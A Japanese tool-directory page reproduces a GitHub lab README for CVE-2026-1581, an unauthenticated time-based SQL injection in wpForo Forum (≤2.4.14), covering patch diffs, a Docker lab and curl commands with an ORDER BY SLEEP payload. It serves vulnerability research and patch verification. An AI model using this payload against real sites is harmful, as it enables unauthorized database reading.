Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/rootdirective-sec/cve-2026-1581-analysis-lab
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ラボと実践
GitHubrootdirective-sec/cve-2026-1581-analysis-lab

CVE-2026-1581-Analysis-Lab

CVE-2026-1581を再現するツールです。wpForo Forum <=2.4.14における認証不要の時間ベースSQLインジェクションを、DockerラボとPoCを用いて実証し、パッチの検証を行います。

リポジトリを見る
16ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-1581 — wpForo Forum (<= 2.4.14) 認証なし時間ベースSQLインジェクション(ORDER BY)

ภาษาไทย


エグゼクティブサマリー

フィールド詳細
CVE IDCVE-2026-1581
プラグインwpForo Forum
影響を受けるバージョン<= 2.4.14
修正済みバージョン2.4.15
脆弱性タイプ認証なし時間ベースSQLインジェクション(ORDER BY)
CVSSスコア7.5(高)
CVSSベクターCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  • CVE-2026-1581 は、wpForo Forum プラグイン(<= 2.4.14)における認証なし時間ベースSQLインジェクションの脆弱性です。wpfob パラメータが ORDER BY 句で使用され、テキストサニタイズのみが適用されるため、認証されていない攻撃者が任意のSQL式を注入し、データベースからデータを読み取ることができます。

  • ベンダーはバージョン 2.4.15 で、sanitize_text_field() をコンテキスト認識型ホワイトリストを適用する wpforo_sanitize_orderby() に置き換えて修正しました。


適用範囲と安全性

  • localhost + Docker Compose のみで実行してください。

  • PoC は、脆弱なバージョンと修正済みバージョンの違いを示すための時間ベースのタイミング証明です。

  • 明示的な許可なくいかなるシステムに対しても使用しないでください。


概要のエビデンス

  • バージョン証明: /community/ ページは /wp-content/plugins/wpforo/assets/js/frontend.js?ver=2.4.14(脆弱)と 2.4.15(修正済み)を読み込みます。

  • コード証明: sanitize_text_field(WPF()->GET['wpfob']) → wpforo_sanitize_orderby(..., context, default)

  • 動作証明: wpfob=modified,(SELECT SLEEP(5)) は脆弱なバージョンで約5秒の遅延を引き起こします。修正済みバージョンはベースラインに近い応答を返します。


CVEアドバイザリから観察した内容

  • CVEアドバイザリは、wpfob パラメータを介した時間ベースSQLインジェクションであり、2.4.15 で修正されたと述べているのみです。分析時点では、公開されているPoCはありませんでした。

  • したがって、このレポートは 2.4.14 と 2.4.15 のソースコード差分分析を通じて構築され、HTTP入力からサニタイズ、SQLクエリ構築に使用される箇所までのパラメータの流れを追跡し、根本原因を理解して問題を再現しました。

vulnx CVE-2026-1581


1) ソースコード駆動分析

1.1 wpfob の特定

ソースコード内で wpfob をgrepしたところ、Recent ページが GET パラメータから値を直接取得し、orderby 引数として割り当てていることが判明しました。

find wpfob

脆弱(2.4.14) — themes/classic/recent.php:

root@kitploit:~
  32 | $args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'modified';
  74 | $args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'created';

修正済み(2.4.15) — 同じファイル、サニタイザーが置き換えられました:

root@kitploit:~
  32 | $args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'topics', 'modified' ) : 'modified';
  74 | $args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'posts', 'created' ) : 'created';

なぜ recent.php に注目するのか? wpfob が $args['orderby'] に直接割り当てられる、トリガー可能なルートだからです。


1.2 SQLへのデータフロー: ORDER BY ...

$args['orderby'] が設定されると、wpForoのクエリビルダーに流れ込み、ORDER BY 句が構築されます。

ORDER BY 連結(脆弱 2.4.14)

classes/Topics.php:

SQL builder: ORDER BY concatenation in Topics.php

classes/Posts.php:

SQL builder: ORDER BY concatenation in Posts.php

説明

  • sanitize_text_field() は文字列を除去・クリーニングするのみで、許可されたカラム名のホワイトリストを強制しません。
  • orderby は ORDER BY <orderby> に直接連結されるため、攻撃者は ORDER BY の位置に任意のSQL式を注入できます。

参照: https://developer.wordpress.org/reference/functions/sanitize_text_field/


1.3 パッチ/差分ハイライト(2.4.14 → 2.4.15)

1.3.1 差分: recent.php

root@kitploit:~
32c32
< 	$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'modified';
---
> 	$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'topics', 'modified' ) : 'modified';
74c74
< 	$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'created';
---
> 	$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'posts', 'created' ) : 'created';

1.3.2 差分: wpforo.php

root@kitploit:~
1036c1036
< 					$args['orderby'] = sanitize_text_field( $get['wpfob'] );
---
> 					$args['orderby'] = wpforo_sanitize_orderby( $get['wpfob'], 'search', 'relevancy' );
1077c1077
< 					$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'modified';
---
> 					$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'topics', 'modified' ) : 'modified';
1153c1153
< 					$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'created';
---
> 					$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'posts', 'created' ) : 'created';

1.3.3 新しいパッチ関数: wpforo_sanitize_orderby()

バージョン 2.4.15 では、入力が許可リストにない場合にデフォルト値を返すコンテキスト認識型ホワイトリストサニタイザーが導入されています:

whitelistor


2) ラボ設計(脆弱 vs 修正済み)

2.1 Docker Compose のサービス

  • wp_vuln(WordPress + wpForo 2.4.14)→ http://localhost:8081
  • wp_patched(WordPress + wpForo 2.4.15)→ http://localhost:8082
  • db_vuln / db_patched(MariaDB)
  • seed_vuln / seed_patched — wp-cli を使用して WordPress のインストール、プラグインのインストール、[wpforo] ショートコードを含む /community/ ページの作成、パーマリンクの設定、.htaccess の生成、検証用アーティファクトの作成を行います。

2.2 テストルート

ソースコードを読むと、wpfob は recent ページで明示的に使用されています:

  • http://localhost:8081/community/recent/?view=opened
  • http://localhost:8082/community/recent/?view=opened

3) 再現: タイミング証明

テスト前に少なくとも1つのトピックと1つの投稿が存在する必要があります。

3.1 「投稿が必要」な理由

  • これは ORDER BY インジェクション の脆弱性です。
  • wpForo にトピックや投稿がない場合、クエリは0行を返す可能性があり、その場合DB側でソートが実行されず、コードパスが ORDER BY 式を評価しないため、遅延が観測されません — 偽陰性となります。

少なくとも1つのトピックと1つの投稿が必要です。

3.2 ベースラインタイミング

root@kitploit:~
curl -sS -L -o /dev/null -w "baseline_vuln=%{time_total}\n" \
  "http://localhost:8081/community/recent/?view=opened"

curl -sS -L -o /dev/null -w "baseline_patched=%{time_total}\n" \
  "http://localhost:8082/community/recent/?view=opened"

baseline

3.3 攻撃タイミング

root@kitploit:~
curl -sS -L -o /dev/null -w "attack_vuln=%{time_total}\n" \
  --get "http://localhost:8081/community/recent/" \
  --data-urlencode "view=opened" \
  --data-urlencode "wpfob=modified,(SELECT SLEEP(5))"

curl -sS -L -o /dev/null -w "attack_patched=%{time_total}\n" \
  --get "http://localhost:8082/community/recent/" \
  --data-urlencode "view=opened" \
  --data-urlencode "wpfob=modified,(SELECT SLEEP(5))"

期待される結果

  • 脆弱: attack_vuln ≈ baseline_vuln + 約5秒
  • 修正済み: attack_patched ≈ ベースライン(遅延なし)

3.4 結果

result


ランブック — ラボの構築とPoCの使用方法(CVE-2026-1581)

1) ラボの構築(脆弱 vs 修正済み)

1.1 前提条件

  • Docker Desktop + Docker Compose v2
  • 利用可能なポート: 8081(脆弱)、8082(修正済み)

1.2 必要なファイル

  • docker-compose.yml
  • scripts/seed-wp.sh

1.3 ラボの起動

プロジェクトフォルダから:

root@kitploit:~
docker compose up -d

1.4 確認

両方のインスタンスがアクセス可能であることを確認します:

  • 脆弱: http://localhost:8081/community/
  • 修正済み: http://localhost:8082/community/

そして recent ページ:

  • 脆弱: http://localhost:8081/community/recent/?view=opened
  • 修正済み: http://localhost:8082/community/recent/?view=opened

vuln home page vuln community page vuln recent page

1.5 wp-cli によるトピック/投稿のシード(ラボ用のみ)

再現性を確保し、偽陰性を防ぐために必要です。

root@kitploit:~
# 1) 件数の確認(脆弱)
docker compose run --rm --entrypoint sh seed_vuln -lc '
cd /var/www/html
PREFIX=$(wp db prefix --allow-root)
wp db query "SELECT COUNT(*) AS topics FROM ${PREFIX}wpforo_topics;" --allow-root
wp db query "SELECT COUNT(*) AS posts  FROM ${PREFIX}wpforo_posts;"  --allow-root
'

# 2) 1つのトピックと1つの投稿を挿入(脆弱)
docker compose run --rm --entrypoint sh seed_vuln -lc '
set -eu
cd /var/www/html
PREFIX=$(wp db prefix --allow-root)
UID=$(wp user get admin --field=ID --allow-root)
FID=$(wp db query "SELECT forumid FROM ${PREFIX}wpforo_forums WHERE is_cat=0 ORDER BY forumid ASC LIMIT 1;" --skip-column-names --allow-root)

wp db query "INSERT INTO ${PREFIX}wpforo_topics (forumid, userid, title, slug, created, modified) VALUES (${FID}, ${UID}, \"Timing Test\", \"timing-test\", NOW(), NOW());" --allow-root
TID=$(wp db query "SELECT MAX(topicid) FROM ${PREFIX}wpforo_topics;" --skip-column-names --allow-root)

wp db query "INSERT INTO ${PREFIX}wpforo_posts (forumid, topicid, userid, title, body, created, modified, is_first_post) VALUES (${FID}, ${TID}, ${UID}, \"Timing Test\", \"Hello\", NOW(), NOW(), 1);" --allow-root
PID=$(wp db query "SELECT MAX(postid) FROM ${PREFIX}wpforo_posts;" --skip-column-names --allow-root)

wp db query "UPDATE ${PREFIX}wpforo_topics SET first_postid=${PID}, last_post=${PID}, posts=1, modified=NOW() WHERE topicid=${TID};" --allow-root

echo "seeded forumid=${FID} topicid=${TID} postid=${PID}"
'

修正済みインスタンスの場合は、seed_vuln を seed_patched に置き換えてください。


2) PoCの使用

2.1 依存関係のインストール

仮想環境の使用を推奨します:

root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate
pip3 install -U pip
pip3 install -r requirements.txt

2.2 PoCの実行

root@kitploit:~
# 脆弱
python3 poc.py http://localhost:8081

# 修正済み
python3 poc.py http://localhost:8082

2.3 PoC出力

POC


3) クリーンアップ

root@kitploit:~
docker compose down -v

参照

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-1581
  • Wordfence: https://www.wordfence.com/threat-intel/vulnerabilities/id/4c447dbb-f8fb-4b46-9c47-20ab7330bbaa?source=cve
ツールをダウンロード